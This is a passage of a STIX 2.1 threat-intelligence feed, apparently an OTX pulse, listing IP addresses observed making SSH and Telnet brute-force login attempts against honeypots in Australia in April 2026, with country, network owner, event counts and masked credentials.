      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.52.109.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CZ. ASN(s): 5610. Organisation(s): O2 Czech Republic, a.s.. Usernames observed (masked): *, ***. Passwords observed (masked): , *.",
      "id": "indicator--37c2f7cc-df84-4d88-9681-3eaa1076f484",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.188.223.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--d6735be1-3fb0-4c13-9879-e063288bccd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '84.54.120.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T08:15:10.000Z",
      "valid_until": "2026-06-01T08:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 133380. Organisation(s): Layerstack Limited.",
      "id": "indicator--a367d150-748f-4c3b-9fb8-4f4f56e694fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.231.253.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--7d9542d2-0ac3-49b4-b3c5-4f1f765c6566",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.37.59.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--42f45d38-74f0-40e1-b849-33ce7c7b5262",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.91.213.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): u****u, a***n, r**t, 3**********4, i**o. Passwords observed (masked): 1********5, 1****6, 3***********4, 3**********4, A******4.",
      "id": "indicator--f549dd2a-326b-44e9-ae68-8d107a5f2c99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.216.143.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--d7a3da0d-7d19-4daf-830e-9496e1455cc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.222.253.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--81702bfc-c18b-4847-bea5-d8e793e92b93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.46.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--ea199572-9524-4202-a1e0-12a51c1d646a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.133.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u. Passwords observed (masked): 9*******1.",
      "id": "indicator--5c3b7ac3-4c8c-415a-8d96-7498c56a63db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.189.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--1742d2e8-8ecf-4a71-a831-3c259210d48d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.235.136.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22773. Organisation(s): Cox Communications Inc..",
      "id": "indicator--171f6267-2954-47c2-b1a4-761074230bba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '174.73.253.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: KZ. ASN(s): 21299. Organisation(s): Kar-Tel LLC.",
      "id": "indicator--21d6ac69-6fc2-4f4c-b950-6ef423515e27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.222.167.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): a****1. Passwords observed (masked): *.",
      "id": "indicator--e49fb699-2011-4ef8-a938-2864e3b5c7b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '191.101.59.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2aedeb3b-ae5b-47e7-acf7-6b861c458a1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.189.34.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--f9e362bc-90ad-4809-938d-fa87470491f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.178.212.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--4d22ae1d-cdba-4454-86fe-7443b81db061",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.181.27.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 26832. Organisation(s): Rica Web Services.",
      "id": "indicator--45ae04cc-83d8-4858-9897-566bf9c1780b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.49.208.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266528. Organisation(s): Master Telecomunicacoes LTDA ME.",
      "id": "indicator--fcf4e648-16df-476f-a454-02d6dc31400f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.65.129.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 204548. Organisation(s): Kamatera Inc.",
      "id": "indicator--a964b4b7-71ce-4af5-b72b-0787d95d4d47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.229.84.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 321. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, a***n, 3**********4, a**r, ***. Passwords observed (masked): ***, 3***********4, 3**********4, 0****0, 1*******e.",
      "id": "indicator--eaef9736-27f1-43a2-9881-bbb5ea8e6f7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.134.240.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T09:15:11.000Z",
      "valid_until": "2026-06-01T09:15:08.000Z"
    },
    {
      "created": "2026-04-30T10:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP.",
      "id": "indicator--5de21325-c241-47b8-af26-3a22de4523c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T10:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.90.226.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T10:15:06.000Z",
      "valid_until": "2026-06-01T10:15:03.000Z"
    },
    {
      "created": "2026-04-30T10:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--9f9c352c-8d9b-4a1c-8d35-10e5fec162aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T10:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.117.154.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T10:15:06.000Z",
      "valid_until": "2026-06-01T10:15:03.000Z"
    },
    {
      "created": "2026-04-30T10:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22611. Organisation(s): InMotion Hosting, Inc..",
      "id": "indicator--6f30a18f-5649-4d26-9d03-e614c003c831",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T10:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '173.247.242.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T10:15:06.000Z",
      "valid_until": "2026-06-01T10:15:03.000Z"
    },
    {
      "created": "2026-04-30T10:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--150f5aa3-707d-4306-9e02-3a3e065a7a8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T10:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.197.21.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T10:15:06.000Z",
      "valid_until": "2026-06-01T10:15:03.000Z"
    },
    {
      "created": "2026-04-30T10:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c08da94d-319f-42e0-a317-9986f6752b53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T10:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T10:15:06.000Z",
      "valid_until": "2026-06-01T10:15:03.000Z"
    },
    {
      "created": "2026-04-30T10:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 38731. Organisation(s): CHT Compamy Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--5a4b3138-9ca7-4ba3-b5cb-8e57f67688a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T10:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '210.211.122.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T10:15:06.000Z",
      "valid_until": "2026-06-01T10:15:03.000Z"
    },
    {
      "created": "2026-04-30T10:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EC. ASN(s): 269853. Organisation(s): CBVISION S.A..",
      "id": "indicator--9368189e-c44a-4ca2-8346-e91e142e79f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T10:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.189.56.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T10:15:06.000Z",
      "valid_until": "2026-06-01T10:15:03.000Z"
    },
    {
      "created": "2026-04-30T10:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 54489. Organisation(s): CoreSpace, Inc..",
      "id": "indicator--d8340982-35e6-4c43-a92f-07079d5580d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T10:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.182.44.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T10:15:06.000Z",
      "valid_until": "2026-06-01T10:15:03.000Z"
    },
    {
      "created": "2026-04-30T10:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 18447. Organisation(s): Ntirety, Inc..",
      "id": "indicator--b81bbb84-f269-4ded-8794-0e328821665d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T10:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.113.163.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T10:15:06.000Z",
      "valid_until": "2026-06-01T10:15:03.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--b9ad5e29-7782-47a8-9380-8e48ac0779fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.203.108.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc..",
      "id": "indicator--b65acdfb-adcd-420b-92d7-62104ad832bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.87.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 36351. Organisation(s): IBM Cloud.",
      "id": "indicator--39f65cba-24a8-4b25-84f0-45a81afb0ccd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.8.211.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 137552. Organisation(s): Terabix.",
      "id": "indicator--718c4358-148b-41ad-9883-caca95754c04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.30.5.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 78. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2b5474a8-3392-4bb3-9615-4689066a8934",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.128.28.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262663. Organisation(s): METROFLEX TELECOMUNICACOES LTDA.",
      "id": "indicator--9145ec6f-122d-4eac-a015-6d206b48c0ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.216.30.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
